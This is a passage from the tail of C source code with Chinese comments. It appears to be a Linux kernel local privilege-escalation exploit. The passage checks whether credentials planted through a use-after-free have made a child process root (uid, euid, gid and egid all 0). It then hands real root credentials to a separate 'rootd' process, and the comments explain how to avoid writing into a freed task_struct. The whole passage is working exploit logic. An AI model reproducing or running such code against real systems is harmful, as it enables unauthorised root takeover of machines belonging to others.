			 * 真 cred 已由 exec 后的 pc98260-rootd 接管。 */
			rooted = 1;
			dprintf(STDOUT_FILENO,
				"[cred] REAL_CRED_ACTIVE; holder gone\n");
			break;
		}
		if (g_cred_child_pid > 0 && kill(g_cred_child_pid, 0) != 0) {
			/* holder 没等到续期就死了:g_task 已悬空,
			 * 再 plant 会往已释放 task_struct 里写,必须停下。 */
			dprintf(STDOUT_FILENO,
				"[cred] holder died before renewal; stop retries\n");
			break;
		}
		if (ask_child(&uid, &euid, &gid, &egid, &real_cred) == 0 &&
		    uid == 0 && euid == 0 && gid == 0 && egid == 0 &&
		    real_cred == 1)
			rooted = 1;
		else if (uid == 1 && euid == 1)
			dprintf(STDOUT_FILENO, "[cred] child did not answer\n");
		else
			dprintf(STDOUT_FILENO,
				"[cred] still uid=%u euid=%u real=%d\n",
				uid, euid, real_cred);
	}
	if (!rooted) {
		dprintf(STDOUT_FILENO, "[uaf] missed page; holding zombie\n");
		for (;;)
			pause();
	}
	/* 正常路径:holder 已退出,rootd 已 exec 成独立进程(真 cred)。
	 * 主进程退出只会关闭 g_stream 的 socket 页,rootd 不再依赖它。 */
	if (g_holder_exited)
		dprintf(STDOUT_FILENO,
			"[cred] REAL_CRED_ACTIVE; plant exiting cleanly\n");
	else
		dprintf(STDOUT_FILENO,
			"[cred] child=%d REAL_CRED_ACTIVE; holder still alive\n",
			g_cred_child_pid);
	return 0;
}